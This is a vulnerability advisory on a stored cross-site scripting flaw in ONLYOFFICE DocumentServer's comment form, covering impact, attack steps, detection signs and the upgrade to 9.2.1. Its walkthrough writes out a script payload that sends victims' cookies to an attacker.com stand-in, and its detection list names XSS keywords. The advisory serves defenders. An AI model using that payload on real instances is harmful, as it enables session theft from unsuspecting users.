CVE-2025-68917: 
ONLYOFFICE DocumentServer vulnerability analysis and mitigation

CVE-2025-68917 is a stored Cross-Site Scripting (XSS) vulnerability in ONLYOFFICE Docs (DocumentServer) that allows authenticated attackers to inject malicious scripts via the textarea of the comment editing form. It affects all ONLYOFFICE Docs versions before 9.2.1. The CVE was published on December 24, 2025, and assigned by MITRE. It carries a CVSS v3.1 base score of 6.4 (Medium) (Red Hat CVE, ONLYOFFICE Changelog).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting). The root cause is insufficient sanitization of user-supplied input in the comment editing form's textarea within ONLYOFFICE DocumentServer. An authenticated attacker with low privileges can craft a malicious comment containing JavaScript payloads; because the input is not properly escaped before being rendered in the browser, the script executes in the context of other users who view the affected document. The attack vector is network-based, requires low privileges, no user interaction, and has a changed scope — meaning the injected script can affect resources beyond the vulnerable component itself (Red Hat CVE, ONLYOFFICE Changelog).

Successful exploitation allows an attacker to execute arbitrary JavaScript in the browsers of other users who view or edit the affected document, potentially leading to session token theft, credential harvesting, unauthorized actions performed on behalf of victims, and defacement of document content. The changed scope means the impact extends beyond the attacker's own session to other authenticated users of the ONLYOFFICE instance. Confidentiality and integrity are both assessed as low impact, with no direct availability impact (Red Hat CVE).

No public proof-of-concept exploit code or evidence of in-the-wild exploitation has been reported as of the time of this report. The EPSS score is approximately 0.029% (0.000290), indicating a very low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation requires an authenticated account with at least low-level privileges on the ONLYOFFICE instance (Red Hat CVE).

1. Reconnaissance: Identify an ONLYOFFICE Docs instance running a version prior to 9.2.1, accessible over the network.
2. Authentication: Obtain or use an existing low-privileged account on the target ONLYOFFICE instance.
3. Open a shared document: Navigate to a document that is shared with or accessible by the intended victim users.
4. Inject malicious payload: In the comment editing form, enter a crafted XSS payload in the textarea (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script> or an event-handler-based variant).
5. Submit the comment: Save or submit the comment, causing the malicious script to be stored server-side.
6. Victim triggers execution: When another authenticated user opens the document and views or interacts with the comment, the injected script executes in their browser context, potentially stealing session cookies, performing actions on their behalf, or exfiltrating data to an attacker-controlled server (ONLYOFFICE Changelog).

• Logs: ONLYOFFICE server access logs showing unusual comment submission requests containing HTML tags or JavaScript keywords (e.g., <script>, onerror=, javascript:) in comment body fields.
• Network: Outbound HTTP/HTTPS requests from victim browsers to unexpected external domains shortly after accessing ONLYOFFICE documents — potentially indicating cookie or credential exfiltration.
• Application: Presence of comments in documents containing encoded or obfuscated JavaScript payloads (e.g., <script>, %3Cscript%3E, or Base64-encoded strings).
• Browser: Unexpected redirects or pop-ups experienced by users while viewing ONLYOFFICE documents, or browser developer console errors related to script execution from comment content.

The vendor has addressed this vulnerability in ONLYOFFICE Docs version 9.2.1. Administrators should upgrade DocumentServer to version 9.2.1 or later as the primary remediation (ONLYOFFICE Changelog). No official configuration-based workaround has been published; until patching is possible, restricting access to the ONLYOFFICE instance to trusted users and monitoring comment activity for suspicious content can reduce risk. Organizations should also consider implementing a Content Security Policy (CSP) at the web server or reverse proxy level to limit the impact of any XSS execution.

The vulnerability received routine coverage from automated vulnerability tracking services and security aggregators such as Vulners, CIRCL, and INCIBE-CERT shortly after its December 24, 2025 disclosure. A brief mention appeared on Bluesky via a CVE tracking account. No notable independent researcher commentary, vendor blog posts, or significant media coverage has been identified beyond standard database entries (Red Hat CVE).